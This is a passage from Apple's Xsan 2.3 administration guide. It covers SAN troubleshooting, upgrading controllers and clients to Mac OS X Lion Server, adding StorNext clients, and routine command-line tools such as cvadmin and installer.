sudo cvadmin If a LUN doesn’t have as much space as expected To make striping across all LUNs possible, Xsan adjusts LUN sizes to make LUNs in a storage pool the same size as the smallest LUN in the pool. Xsan doesn’t use the extra space on larger LUNs if you mix LUNs of different sizes in a storage pool. If you can’t rename an Xsan volume in the Finder Xsan doesn’t let a mounted Xsan volume be renamed using the Finder, but you can use Xsan Admin to rename the volume. See “Rename a volume” on page 85.If you can’t add a storage pool Some words are reserved and can’t be used to name a storage pool. If a storage pool is used for user data, the first eight characters of the storage pool name can’t be a reserved word. If you enter a reserved word as the storage pool name, the OK button in the storage pool sheet is dimmed. Examples include: Affinity, Exclusive, Journal, Log, MetaData, Regular, and Type. For a register of reserved words, see the cvfs_config man page by entering this command in Terminal: $ man -M /System/Library/Filesystems/acfs.fs/Contents/man/ 4 cvfs_config If Fibre Channel performance is poor With some Fibre Channel switches, mismatched optical transceivers (GBICs) can cause Fibre Channel communication errors and degrade SAN performance. Check with the manufacturers of your Fibre Channel switches to see if you should use identical transceivers (same manufacturer and model number) on both ends of your Fibre Channel cables. However, with Cisco Fibre Channel switches, you should use a Cisco transceiver on the end of a cable that plugs into the switch and another qualified transceiver at the other end of the cable. For Fibre Channel hardware compatibility information, see the AppleCare Support article at support.apple.com/kb/HT1769. If a client can’t use a volume after a Fibre Channel interruption If a client loses its Fibre Channel connection to the SAN (for example, because a cable is unplugged), the client might not recognize LUNs in an Xsan volume after the connection is restored. If this happens, restart the client to remount the volume. If problems persist, restart all SAN devices. Restart RAID systems first, then continue with SAN controllers, and finally, restart all clients. Check whether a computer is seeing Xsan volume LUNs: m Open Disk Utility on the computer and look for the LUNs in the list of disks and volumes. From the command line You can also check for accessible LUNs using the cvlabel -l command or the diskutil list command in Terminal. For information, see the cvlabel or diskutil man page. 124 Chapter 9 Solve SAN problemsChapter 9 Solve SAN problems 125 If you can’t add LUNs to a storage pool You can’t add a LUN to a storage pool unless the LUN is at least as large as the smallest LUN you added when you created the pool. You can add a larger LUN, but space beyond the smallest LUN size isn’t used. You can only expand storage pools that can be used for user data. You can’t add a LUN to a storage pool if the storage pool is used only for journaling and metadata. To add journaling and metadata storage, add another storage pool that can be used for journaling and metadata. Xsan also won’t let you add a LUN to a storage pool if adding the LUN will fragment the storage pool so much that performance suffers. Check the common LUN size for a storage pool: m In Xsan Admin, select Volumes in the SAN Assets list and click disclosure triangles in the list of volumes to show the LUNs in the storage pool of interest. Compare the listed LUN sizes. Check the data types a storage pool is used for: m In Xsan Admin, select Volumes in the SAN Assets list then click disclosure triangles in the list of volumes to show the storage pool of interest. Double-click the storage pool in the list and look next to “Used For” in the Inspector window. If the capacity of a larger LUN is Listed as 2 terabytes If a LUN that doesn’t yet belong to a storage pool is listed in Xsan Admin with a capacity of 2 TB, even though you know it’s larger (which can happen if you used the LUN with an earlier version of Xsan), try relabeling the LUN. Relabel a LUN: 1 In Xsan Admin, select LUNs in the SAN Assets list. 2 Click LUNs, select the LUN in the list, and choose “Remove LUN label” from the Action pop-up menu (gear). 3 With the LUN still selected, choose “Change LUN label” from the Action pop-up menu, and enter a label. If file copying doesn’t finish If the Ethernet connection to a metadata controller is lost, Finder file-copy operations in progress on clients might not finish, even though the volume successfully fails over to a standby controller. Let the copy operation finish: m Reconnect the disconnected controller to the SAN’s Ethernet network.If a volume unexpectedly restarts Xsan can restart a volume for a variety of reasons, including controller restart and volume failover. The notification is the same in all cases, but you can examine the log files for more details. View the logs: 1 Open Xsan Admin and click the Logs button at the top of the window. 2 In the Logs window that appears, use the Computer and Log pop-up menus to choose a log. 126 Chapter 9 Solve SAN problems127 This appendix shows you how to upgrade your Xsan 2 SAN to Xsan 2.3. Follow the instructions in this appendix to upgrade an existing Xsan 2 SAN and its volumes to Xsan 2.3. Upgraded metadata controllers must have Mac OS X Lion Server. Upgraded SAN clients must have Mac OS X Lion or Lion Server, which include Xsan 2.3, or Mac OS X or Mac OS X Server v10.6 with Xsan 2.2.1 or later installed. Before you begin Review the following information before you upgrade your SAN. If you’re not running Xsan 2.0 or later This appendix shows you how to upgrade from Xsan 2.0 or later. For help upgrading from an earlier version of Xsan, see the Xsan 2 Migration Guide, Second Edition, available at www.apple.com/xsan/resources/. Lion or Lion Server? The Xsan file system is included with Mac OS X Lion and Lion Server. The Xsan Admin app is included with Mac OS X Lion Server. Unless otherwise indicated, a statement in this appendix about Mac OS X Lion also applies to Mac OS X Lion Server. However, if you use Xsan Admin to manage SAN users and groups, you must have Mac OS X Lion Server on your metadata controllers to create the Open Directory master and its replicas. Which procedure? This appendix contains two sets of instructions:  Follow “Upgrade your SAN software” below if you want to upgrade your current metadata controllers to Xsan version 2.3 and Mac OS X Lion Server.  Follow “Upgrade SAN hardware and software” on page 132 if you need to replace your current metadata controllers with Intel-based computers in addition to upgrading to Xsan 2.3 and Mac OS X Lion Server. A Appendix Upgrade to Xsan 2.3128 Appendix A Upgrade to Xsan 2.3 Version compatibility For information about the compatibility of Xsan 2.3 metadata controllers and clients with earlier Xsan versions and with StorNext controllers and clients, see “Version compatibility” on page 13. Upgrade your SAN software Follow these instructions if you want to keep using your current metadata controllers and upgrade them to Xsan 2.3 and Mac OS X Lion Server. If you need to replace your metadata controllers, follow the instructions in “Upgrade SAN hardware and software” on page 132. The instructions in this section show you how to upgrade your SAN’s metadata controllers one at a time so that existing volumes remain available. As each controller is upgraded, volumes it is hosting fail over to standby controllers. However, if you enable extended attributes on a volume after upgrading to Xsan 2.3, the volume is not mounted on clients until the conversion process finishes. This process can take hours, depending on the number of files on the volume; the volume is not available during this time. Summary: 1 Back up your SAN volumes. 2 Disable Spotlight on all volumes. 3 Upgrade the primary controller to Mac OS X Lion Server. 4 Upgrade the remaining controllers. 5 Reestablish Open Directory replicas. 6 Upgrade the SAN clients. 7 Enable extended attributes. 8 Change filename case sensitivity. 9 Reenable Spotlight. Instructions for these steps are on the following pages. Step 1: Back up your SAN volumes Before you begin, make a backup copy of the files on your SAN volumes. Step 2: Disable Spotlight on all volumes Before upgrading your SAN computers to Mac OS X Lion or Lion Server, disable Spotlight on all Xsan volumes during the upgrade.Appendix A Upgrade to Xsan 2.3 129 Disable Spotlight on a volume: 1 Open your current version of Xsan Admin. 2 In Xsan Admin, select Volumes in the SAN Assets list. 3 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 4 Click to deselect “Enable on this volume” next to Spotlight. Step 3: Upgrade the primary controller to Mac OS X Lion Server To upgrade to Xsan 2.3, you must upgrade your metadata controllers to Mac OS X Lion Server. Important: If you use Xsan Admin to manage SAN users and groups, upgrade your primary controller (the controller hosting the SAN’s Open Directory master) before you upgrade standby controllers. Identify your Open Directory primary controller: m If you’re using Xsan Admin to manage users and groups, open Xsan Admin, select Overview in the SAN Assets list, and look for the controller that has the user icon next to its name. Upgrade that controller first. Upgrade the controller to Mac OS X Lion Server: m Open the Mac App Store on the controller you want to upgrade, and purchase Mac OS X Lion. After you purchase Mac OS X Lion, the Mac OS X Install Assistant opens. It recognizes that you’re upgrading from Mac OS X Server v10.6, and upgrades to Lion Server. If the metadata controller you’re upgrading has Mac OS X Server v10.5, upgrade it to v10.6 before purchasing Mac OS X Lion. After upgrading Mac OS X Server v10.5 to v10.6:  Use Software Update to update to the latest version of Mac OS X Server v10.6  Use Software Update to update to Xsan 2.2.1 or later. You must update Xsan because there are underlying differences between Xsan 2.2 for Mac OS X Server v10.5 and Xsan 2.2 for Mac OS X Server v10.6. Upgrading to Mac OS X Lion Server upgrades Xsan to version 2.3. From this point forward, use Xsan Admin only on a computer with Mac OS X Lion Server. Step 4: Upgrade the remaining controllers Repeat step 3 on each additional SAN metadata controller. When all controllers have Mac OS X Lion Server, which includes Xsan 2.3, continue with the next step.130 Appendix A Upgrade to Xsan 2.3 Step 5: Reestablish Open Directory replicas If you don’t use Xsan Admin to manage SAN users and groups, skip to the next step. If you use Xsan Admin to manage SAN users and groups, you now have an Open Directory master on your primary controller (the first controller you upgraded in step 3). However, you must reestablish replicas of that directory on your other controllers. Recreate the directory replicas: m Open Xsan Admin on one controller and select Computers in the SAN Assets list. A dialog prompts you to recreate the replicas. If you’re not asked to replicate the directory, see if you have upgraded all controllers in the SAN to Mac OS X Lion Server, which includes Xsan 2.3, and then try again. If the replication prompt still doesn’t appear, select a controller in the Computers pane in Xsan Admin and choose Make Open Directory Replica from the Action pop-up menu (gear). Step 6: Upgrade the SAN clients When all SAN controllers have Mac OS X Lion Server, upgrade the SAN clients.  If you’re keeping client computers in the SAN, upgrade them to Mac OS X Lion or Lion Server.  If you aren’t upgrading a client computer, and it has Mac OS X or Mac OS X Server v10.6, upgrade it to Xsan 2.2.1 or later.  If a client computer has Mac OS X or Mac OS X Server 10.5 or earlier, you must upgrade it to v10.6 to use it in your Xsan 2.3 SAN.  If you have client computers with PowerPC processors, you can’t use them in your Xsan 2.3 SAN. You can replace them with Macs that have Intel processors and Fibre Channel ports or adapters. Upgrade Mac OS X and Xsan: m Open the Mac App Store on the client computer you want to upgrade, and purchase Mac OS X Lion. After you purchase Mac OS X Lion, the Mac OS X Install Assistant opens. It upgrades Mac OS X v10.6 to Mac OS X Lion, or Mac OS X Server v10.6 to Mac OS X Lion Server. If the client computer you’re upgrading has Mac OS X or Mac OS X Server v10.5, upgrade it to v10.6 before purchasing Mac OS X Lion. After upgrading to v10.6:  Use Software Update to update to the latest version of Mac OS X or Mac OS X Server v10.6  Use Software Update to update to Xsan 2.2.1 or later. You must update Xsan because there are underlying differences between Xsan 2.2 for Mac OS X v10.5 and Xsan 2.2 for Mac OS X v10.6.Appendix A Upgrade to Xsan 2.3 131 Upgrading to Mac OS X Lion or Lion Server upgrades Xsan to version 2.3. If SAN volumes don’t mount on a client upgraded to Mac OS X Lion or Lion Server, use the Xsan pane of System Preferences on the client to make sure Xsan is enabled. Upgrade Xsan only: m On a client computer with Mac OS X or Mac OS X Server v10.6, choose Software Update from the Apple menu and update to Xsan 2.2.1 or later. If the client computer has Mac OS X or Mac OS X Server v10.5 or earlier, you must upgrade it to v10.6 in order to use it in your Xsan 2.3 SAN. If Xsan Admin displays a message about “Incorrect Search Policy,” use the Login Options section of the Users & Groups pane of System Preferences (the Accounts pane in Mac OS X v10.6) to connect to the correct network account server (directory server). Step 7: Enable extended attributes If you have only Macs on your SAN, enable extended attributes on your SAN volumes to improve volume performance and efficiency. Important: Enabling extended attributes can’t be undone. WARNING: To avoid data loss, clients with Quantum’s StorNext File System (Windows, AIX, IRIX, Linux, and Solaris computers) must not access volumes that use extended attributes. Enable extended attributes: 1 Open Xsan Admin and select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Click to select “Enable on this volume” next to Extended Attributes. The time it takes to convert the volume to use extended attributes depends on the number of files on the volume—it might take several hours for a large volume. During this time, the volume is mounted only on the converting controller and can’t be used by clients. The volume is mounted on clients and other controllers when the conversion is finished. Step 8: Change filename case sensitivity If all your SAN computers have Mac OS X Lion or Lion Server, you can specify whether a volume ignores capitalization in filenames. For example, a volume can consider myfile, MyFile, and MYFILE to be the same or different filenames. For best performance with volumes that you share using the SMB protocol, make them case insensitive.132 Appendix A Upgrade to Xsan 2.3 Change filename case sensitivity for a volume: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Select or deselect the checkbox next to Case Insensitivity and click OK. When you change case sensitivity, Xsan checks all existing filenames to make sure the change won’t result in filenames being considered the same. This check can take a while. If Case Insensitivity is selected, the volume considers filenames to be the same if they’re spelled alike but capitalized differently. If Case Insensitivity is not selected, the volume considers filenames to be different if they’re spelled alike but capitalized differently. Note: After you click OK, the volume is unmounted from all Xsan computers, and then remounted. Step 9: Reenable Spotlight If you disabled Spotlight to upgrade SAN computers to Mac OS X Lion or Lion Server, reenable it now. Enable Spotlight on a volume: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Click to select “Enable on this volume” next to Spotlight. Upgrade SAN hardware and software Follow these instructions if, as part of your Xsan 2.3 upgrade, you must replace PowerPC-based computers with Intel-based computers. (Xsan 2.3 requires all SAN computers to have Intel processors.) Summary: 1 Back up your SAN volumes. 2 Disable Spotlight on all volumes. 3 Adjust volume failover priorities. 4 Convert all standby controllers to clients. 5 Unmount and stop all volumes. 6 Connect new computers to the SAN. 7 Migrate the primary controller to a new computer. 8 Migrate previous standby controllers to new client computers. 9 Convert clients to standby controllers.Appendix A Upgrade to Xsan 2.3 133 10 Migrate remaining SAN clients. 11 Enable extended attributes. 12 Change filename case sensitivity. 13 Reenable Spotlight. 14 Recreate your MultiSAN configuration. Step 1: Back up your SAN volumes Before you begin, make a backup copy of the files on your SAN volumes. Step 2: Disable Spotlight on all volumes Disable Spotlight on all Xsan volumes during the migration to new SAN computers. Disable Spotlight on all volumes: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select a volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Click to deselect “Enable on this volume” next to Spotlight. 4 Repeat for all volumes in the SAN. Step 3: Adjust volume failover priorities If you use the MultiSAN capability of Xsan to host volumes on different subsets of the available controllers, adjust volume failover priorities so that all volumes can fail over to the primary metadata controller. Make sure all volumes will fail over to the new controllers: 1 Open Xsan Admin and select Volumes in the SAN Assets list. 2 Select a volume and choose Edit Failover Priority from the Action pop-up menu (gear). 3 Click to select the primary metadata controller in the list, and click OK. 4 Repeat for all volumes in the SAN. Step 4: Convert all standby controllers to clients Identify the primary metadata controller, and then convert all other metadata controllers to Xsan clients. If a metadata controller is hosting a volume when you convert it to a client, another metadata controller begins hosting the volume. When you finish this step, the primary metadata controller is hosting all SAN volumes. Identify the Open Directory primary controller: m If you’re using Xsan Admin to manage users and groups, open Xsan Admin, select Overview in the SAN Assets list, and look for the controller that has the user icon next to its name. Don’t convert that controller to a client.134 Appendix A Upgrade to Xsan 2.3 Convert a metadata controller to a client: m In Xsan Admin, select Computers in the SAN Assets list, select the metadata controller in the list, and choose Make Client from the Action pop-up menu (gear). If you can’t choose Make Client, make sure all Xsan clients and metadata controllers are turned on and their status is Ready in Xsan Admin’s Computers list. Step 5: Unmount and stop all volumes Before migrating data from your old metadata controllers to new computers, stop all SAN volumes so they can’t be changed. Unmount and stop al volumes: 1 In Xsan Admin, select Mounts in the SAN Assets list. 2 Choose a volume from the Volume pop-up menu. 3 Select all clients in the list and click the Unmount button. To select more than one client, hold down the Command or Shift key as you select clients in the list. 4 Choose Stop Volume from the Action pop-up menu (gear). 5 Repeat for all volumes in the SAN. Step 6: Connect new Macs to the SAN Connect your new Macs to the SAN’s Ethernet and Fibre Channel networks. If necessary, remove old computers to make ports available. Don’t go through the setup assistant on the new Macs yet. Important: Mac OS X Lion Server is recommended for all SAN controllers and is required if you use Xsan Admin to manage users and groups. Make sure any client you want to convert to a controller has Mac OS X Lion Server. Step 7: Migrate the primary metadata controller Use the server setup assistant to migrate server data from the old primary controller to a new server. Migrate the primary controller to a new server: 1 Use Xsan Admin to make sure the primary metadata controller is in the failover priority list for every SAN volume. 2 Make sure Xsan Admin isn’t open on any computer that can connect to a metadata controller. Xsan Admin can become confused if it’s open when a SAN computer’s IP address migrates to a new computer.Appendix A Upgrade to Xsan 2.3 135 3 Restart the old primary metadata controller in target disk mode, so the server setup assistant can transfer data from it to a new server. You can restart in target disk mode by holding down the T key when the computer starts up. 4 Turn on the new server that you want to become the primary metadata controller, and wait for the server setup assistant’s Welcome pane to appear. 5 Proceed through the server setup assistant to the "Transfer an Existing Mac Server” pane, select “Transfer the information from an existing server,” and click Continue. 6 Connect the old primary metadata controller to the new server with a FireWire cable, and when you’re ready to begin transferring data, click Continue in the Transfer Your Mac Server pane. 7 After the server setup assistant finishes transferring data, proceed through the remaining setup panes. 8 Shut down the old primary metadata controller, and disconnect it from the Ethernet and Fibre Channel networks. Don’t start up the old primary metadata controller while it’s connected to the Ethernet networks, because it has the same IP address as the new server you migrated it to. Step 8: Migrate former standby controllers Use the server setup assistant to migrate server data from the former standby metadata controllers, which you converted to SAN clients in an earlier step, to new servers. You convert the new servers to metadata controllers in the next step. Migrate a former standby controller to a new server: 1 Make sure Xsan Admin isn’t open on any computer that can connect to a metadata controller. Xsan Admin can become confused if it’s open when a SAN computer’s IP address migrates to a new computer. 2 Restart the former standby metadata controller in target disk mode, so the server setup assistant can transfer data from it to a new server. You can restart in target disk mode by holding down the T key when the computer starts up. 3 Turn on the new server that you want to become the primary metadata controller, and wait for the server setup assistant’s Welcome pane to appear. 4 Proceed through the server setup assistant to the "Transfer an Existing Mac Server” pane, select “Transfer the information from an existing server,” and click Continue. 5 Connect the former standby metadata controller to the new server with a FireWire cable, and when you’re ready to begin transferring data, click Continue in the Transfer Your Mac Server pane.136 Appendix A Upgrade to Xsan 2.3 6 After the server setup assistant finishes transferring data, proceed through the remaining setup panes. 7 Shut down the former standby metadata controller, and disconnect it from the Ethernet and Fibre Channel networks. Don’t start up the former standby metadata controller while it’s connected to the Ethernet networks, because it now has the same IP address as the new server you migrated it to. Step 9: Convert clients to standby controllers You converted your old standby metadata controllers to SAN clients in an earlier step, and after migrating them to new servers in the previous step, the new servers are still SAN clients. You need to convert those clients to standby controllers. Convert a client to a standby controller: 1 Open Xsan Admin on the primary controller and select Computers in the SAN Assets list. 2 Select the client, and then choose Make Controller from the Action pop-up menu (gear). Step 10: Migrate or upgrade SAN clients When your SAN controllers all have Mac OS X Lion Server, you can migrate or upgrade the SAN clients.  If you’re replacing client computers in the SAN with new computers, use the Mac OS X Lion setup assistant or the Mac OS X Lion Server setup assistant to migrate data from old client computers to their replacements.  If you’re keeping client computers in the SAN, upgrade them to Mac OS X Lion or Lion Server.  If you aren’t upgrading a client computer, and it has Mac OS X or Mac OS X Server v10.6, upgrade to Xsan 2.2.1 or later.  If a client computer has Mac OS X or Mac OS X Server 10.5 or earlier, you must upgrade it to v10.6 to use it in your Xsan 2.3 SAN.  If you have client computers with PowerPC processors, you can’t use them in your Xsan 2.3 SAN. You can replace them with Macs that have Intel processors and Fibre Channel ports or adapters. Migrate to a new computer: 1 Make sure Xsan Admin isn’t open on any computer that can connect to a metadata controller. Xsan Admin can become confused if it’s open when a SAN computer’s IP address migrates to a new computer. 2 Turn on the new computer, and wait for the setup assistant to appear.Appendix A Upgrade to Xsan 2.3 137 3 Proceed through the setup assistant to the pane that offers to transfer data from an existing computer, and choose to transfer data. Connect the old computer and the new computer with a FIreWire cable, and restart the old computer in target disk mode. You can restart in target disk mode by holding down the T key when the computer starts up. If you aren’t using FireWire to connect the computers, follow the onscreen instructions for connecting them. 4 After the setup assistant finishes transferring data, proceed through the remaining setup panes. 5 Shut down the old computer, and disconnect it from the Ethernet and Fibre Channel networks. The old computer has the same IP address as the new computer you migrated it to. If SAN volumes don’t mount on a client migrated to Mac OS X Lion or Lion Server, use the Xsan pane of System Preferences on the client to make sure Xsan is enabled. Upgrade Mac OS X and Xsan: m Open the Mac App Store on the client computer you want to upgrade, and purchase Mac OS X Lion. After you purchase Mac OS X Lion, the Mac OS X Install Assistant opens. It upgrades Mac OS X v10.6 to Mac OS X Lion, or Mac OS X Server v10.6 to Mac OS X Lion Server. If the client computer you’re upgrading has Mac OS X or Mac OS X Server v10.5, upgrade it to v10.6 before purchasing Mac OS X Lion. After upgrading to v10.6:  Use Software Update to update to the latest version of Mac OS X or Mac OS X Server v10.6  Use Software Update to update to Xsan 2.2.1 or later. You must update Xsan because there are underlying differences between Xsan 2.2 for Mac OS X v10.5 and Xsan 2.2 for Mac OS X v10.6. Upgrading to Mac OS X Lion or Lion Server upgrades Xsan to version 2.3. If SAN volumes don’t mount on a client upgraded to Mac OS X Lion or Lion Server, use the Xsan pane of System Preferences on the client to make sure Xsan is enabled. Upgrade Xsan only: m On a client computer with Mac OS X or Mac OS X Server v10.6, choose Software Update from the Apple menu and update to Xsan 2.2.1 or later. If the client computer has Mac OS X or Mac OS X Server 10.5 or earlier, you must upgrade it to v10.6 in order to use it in your Xsan 2.3 SAN. If Xsan Admin displays a message about “Incorrect Search Policy,” use the Login Options section of the Users & Groups pane of System Preferences (the Accounts pane in Mac OS X v10.6) to connect to the correct network account server (directory server).138 Appendix A Upgrade to Xsan 2.3 Step 11: Enable extended attributes If you have only Macs on your SAN, enable extended attributes on your SAN volumes to improve volume performance and efficiency. Important: Enabling extended attributes can’t be undone. WARNING: To avoid data loss, clients with Quantum’s StorNext File System (Windows, AIX, IRIX, Linux, and Solaris computers) must not access volumes that use extended attributes. Enable extended attributes: 1 Open Xsan Admin and select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Click to select “Enable on this volume” next to Extended Attributes. The time it takes to convert the volume to use extended attributes depends on the number of files on the volume—it might take several hours for a large volume. During this time, the volume is mounted only on the converting controller and can’t be used by clients. The volume is mounted on clients and other controllers when the conversion is finished. Step 12: Change filename case sensitivity If all your SAN computers have Mac OS X Lion or Lion Server, you can specify whether a volume ignores capitalization in filenames. For example, a volume can consider myfile, MyFile, and MYFILE to be the same or different filenames. For best performance with volumes that you share using the SMB protocol, make them case insensitive. Change filename case sensitivity for a volume: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Select or deselect the checkbox next to Case Insensitivity and click OK. When you change case sensitivity, Xsan checks all existing filenames to make sure the change won’t result in filenames being considered the same. This check can take a while. If Case Insensitivity is selected, the volume considers filenames to be the same if they’re spelled alike but capitalized differently. If Case Insensitivity is not selected, the volume considers filenames to be different if they’re spelled alike but capitalized differently. Note: After you click OK, the volume is unmounted from all Xsan computers, and then remounted.Appendix A Upgrade to Xsan 2.3 139 Step 13: Reenable Spotlight If you disabled Spotlight to upgrade SAN computers to Mac OS X Lion or Lion Server, reenable it now. Enable Spotlight on a volume: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Click to select “Enable on this volume” next to Spotlight. Step 14: Recreate your MultiSAN configuration If you use the MultiSAN capability of Xsan to host volumes on subsets of available controllers, your volume failover priorities were reset when you converted standby metadata controllers to clients in step 3. You can now adjust failover priorities to recreate your MultiSAN configuration. Specify which controllers host a volume: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select a volume and choose Edit Failover Priority from the Action pop-up menu (gear). 3 Click to select or deselect controllers in the list, and click OK. 4 Repeat for all volumes in the SAN.140 Here’s how to connect Windows, Solaris, UNIX, AIX, IRIX, or Linux clients to an Xsan SAN. Xsan is fully compatible with Quantum’s StorNext File System, so you can set up Mac Pro, Xserve, and RAID systems to act as SAN controllers and storage for Windows, Sun Solaris, UNIX, IBM AIX, SGI IRIX, or Linux clients that run StorNext software. For information about adding Macintosh clients to an existing StorNext SAN, see the StorNext Product Bulletin #42, available at www.quantum.com/ServiceandSupport/ SoftwareandDocumentationDownloads/SupportBulletins/Index.aspx. Compatible software versions For information about versions of Xsan and StorNext controllers and clients that can be used on the same SAN, see “Version compatibility” on page 13. Terminology Note these differences in terminology between StorNext and Xsan: StorNext term Equivalent Xsan term file system volume file system server (FSS) controller (or metadata controller) stripe group storage pool B Appendix Combine Xsan controllers and StorNext clientsAppendix B Combine Xsan controllers and StorNext clients 141 License An Xsan license is included with the purchase of Mac OS X Lion or Lion Server. The Xsan license for a client computer with Mac OS X or Mac OS X Server v10.6 requires a serial number, which can be the single-copy serial number printed on the Xsan Install Disc sleeve included in an Xsan 2.2 package, or it can be a serial number you purchased separately. Licenses for StorNext are included with the purchase of the StorNext software from Quantum. Xsan clients do not use or count as StorNext File System client licenses. Add StorNext clients to an Xsan SAN You can use Quantum’s StorNext software to access an Xsan SAN from a Windows, UNIX, Sun Solaris, IBM AIX, SGI IRIX, or Linux computer. Add a StorNext client to an Xsan SAN: 1 Install the StorNext File System software on the non-Macintosh client following the instructions that Quantum provides in the StorNext package. 2 Connect the non-Macintosh client to the SAN’s Fibre Channel and Ethernet networks. 3 Duplicate the Macintosh Xsan controller’s shared secret file on the non-Macintosh client. The shared secret file is named .auth_secret. On a Macintosh Xsan controller, it’s stored in the folder /Library/Preferences/Xsan/. Copy the file (using the same name) to the non-Macintosh client. On SGI IRIX, Sun Solaris, IBM AIX, and Linux StorNext clients, put the file in /usr/cvfs/config/. On Windows clients, put the file in \%cvfsroot%\config\, where %cvfsroot% is the folder where you installed StorNext. Important: This file contains sensitive information. Secure the file for read/write access by the root user or Windows administrator only. 4 Place a StorNext license file for your non-Macintosh clients on the Macintosh Xsan controller. On the Xsan controller, put the file (named license.dat) in the folder /Library/Preferences/Xsan/. Contact Quantum to obtain a license file for your non-Macintosh clients.142 You can use Xsan shell commands and configuration files to work with a SAN from the command line. You can use the shell commands and configuration files described here to access, set up, and manage Xsan SANs, LUNs, storage pools, and volumes from the command line. The Terminal app is the Mac OS X gateway to the BSD command-line interface (UNIX shell command prompt). Each window in Terminal contains a complete command-line execution context, called a shell, that is separate from all other execution contexts. Although you can use any shell of your choice, the examples in this book assume that you’re using bash, the standard Mac OS X shell. Use shell commands The Xsan command-line utilities are located in /System/Library/Filesystems/acfs.fs/ Contents/bin/. Many commands used to manage Xsan must be executed by the root user (also known as the superuser). If you get a message such as “permission denied,” the command probably requires root user privileges. To execute a single command with root user privileges, begin the command with sudo (short for superuser do). For example: $ sudo cvfsck -n MyVolume If you haven’t used sudo recently, you’re prompted for the password for your administrator account. Send commands to remote computers To use commands on a remote computer, first use SSH to log in to the other computer: $ ssh user@computer Replace user with the name of a user account on the remote computer and computer with its IP address or DNS name. C Appendix Use command-line toolsAppendix C Use command-line tools 143 If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the remote computer and make sure Remote Login service is turned on. View the man pages Detailed documentation for Xsan command-line utilities is available in UNIX-style man pages. A command’s man page includes information about the command, its options, parameters, and proper use. The man pages for Xsan commands are located in /System/Library/Filesystems/acfs.fs/Contents/man/. To view a man page, enter: $ man command Replace command with the command you want information about. Notation conventions These conventions are used throughout the command descriptions: Notation Indicates fixed-width font A command or other text entered in a Terminal window $ A shell prompt [text_in_brackets] An optional parameter (one|other) Alternative parameters (enter one or the other) italicized A parameter you must replace with a value [...] A parameter that can be repeated A displayed value that depends on your SAN configuration Install Xsan from the command line Xsan is installed with Mac OS X Lion and Lion Server. You don’t install Xsan separately on computers with Lion or Lion Server. You can install Xsan on SAN client computers that have Mac OS X or Mac OS X Server version 10.6 Snow Leopard. Install Xsan from the command line: 1 On a SAN client computer that has Mac OS X or Mac OS X Server v10.6, insert the Xsan Install Disc. 2 Open the Terminal app (in the /Applications/Utilities/ folder). 3 Enter one of these commands to install the components:144 Appendix C Use command-line tools  To install the Xsan file system and Xsan Admin app, enter: $ sudo installer -pkg /volumes/Xsan\ Install\ Disc/Install\ Xsan.mpkg -target /  To install only the Xsan Admin app, enter: $ sudo installer -pkg /volumes/Xsan\ Install\ Disc/Install\ XsanAdminApp.pkg/ -target / Install Xsan on a computer that has no keyboard or monitor: 1 Log in to a computer that has a keyboard and monitor, and then insert the Xsan Install Disc. 2 Open the Terminal app (in the /Applications/Utilities/ folder). 3 In Terminal, enter the following command to copy the Xsan installer package to a remote SAN client computer that has Mac OS X or Mac OS X Server v10.6: $ scp -r /Volumes/Xsan\ Install\ Disc/Install\ Xsan.mpkg user@ remotehost:/tmp/ Replace user with the name of an administrator user on the remote computer and remotehost with the IP address or DNS name of the computer you want to install on. To install only the Xsan Admin app, enter: $ scp -r /Volumes/Xsan\ Install\ Disc/Other\ Installs/XsanAdmin.mpkg/ user@remotehost:/tmp/ 4 Log in to the remote computer: $ ssh user@remotehost Replace user and remotehost with the same information as in the previous step. If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the remote computer and make sure Remote Login service is turned on. 5 Run the installer on the headless computer:  To install the Xsan file system and Xsan Admin app, enter: $ sudo installer -pkg /tmp/Install\ Xsan.mpkg -target /  To install only the Xsan Admin app, enter: $ sudo installer -pkg /tmp/Install\ Xsan.mpkg/Contents/Installers/ XsanAdminApp.pkg/ -target /  To monitor the installation, add the -verbose parameter: $ sudo installer -verbose -pkg /tmp/Install\ Xsan.mpkg -target /Appendix C Use command-line tools 145 Xsan commands Xsan includes these command-line tools: Tool Description cvadmin View or change volume and storage pool settings; see page 145 cvaffinity Manipulate affinity tags manually; see page 149 cvcp Copy files or folders; see page 149 cvfsck Check or repair a volume; see page 150 cvlabel View, label, and initialize LUNs; see page 151 cvmkdir Create a folder and assign an affinity; see page 152 cvmkfile Create and preallocate a file; see page 153 cvmkfs Initialize a volume; see page 153 cvupdatefs Apply volume setup changes; see page 154 snfsdefrag Defragment a volume; see page 154 xsanctl Mount and unmount Xsan volumes; see page 156 View or change volume and storage pool settings (cvadmin) Use the cvadmin tool to perform status and setup tasks related to Xsan volumes. For help, see the cvadmin man page or enter: $ sudo cvadmin -e help Enter interactive mode: $ sudo cvadmin Execute commands from a file: $ sudo cvadmin [-H host] [-F volume] -f cmdfile Execute a single command and return to the shell prompt: $ sudo cvadmin [-H host] [-F volume] -e ["]command [cmdparam..."]146 Appendix C Use command-line tools Parameter Description -H host The metadata controller that is hosting the volume. If not provided, the local computer is assumed. host – the IP address or DNS name of a metadata controller other than the one you’re logged in on. -F volume The volume to be the active (“selected”) volume in cvadmin. volume – the name of an Xsan volume -f cmdfile Read commands from the specified file. cmdfile – the name of a text file containing cvadmin commands -e command Execute the specified command and return to the shell prompt. Otherwise, cvadmin continues to run in interactive mode with the prompt Xsanadmin>. If you include parameters (cmdparam) with the command, enclose the command and its parameters in a pair of quotes. Available commands are listed in “cvadmin commands” below. cmdparam Values required by the command. cvadmin commands Commands available in the cvadmin tool are listed in the following table. cvadmin command Description activate [volume|index] 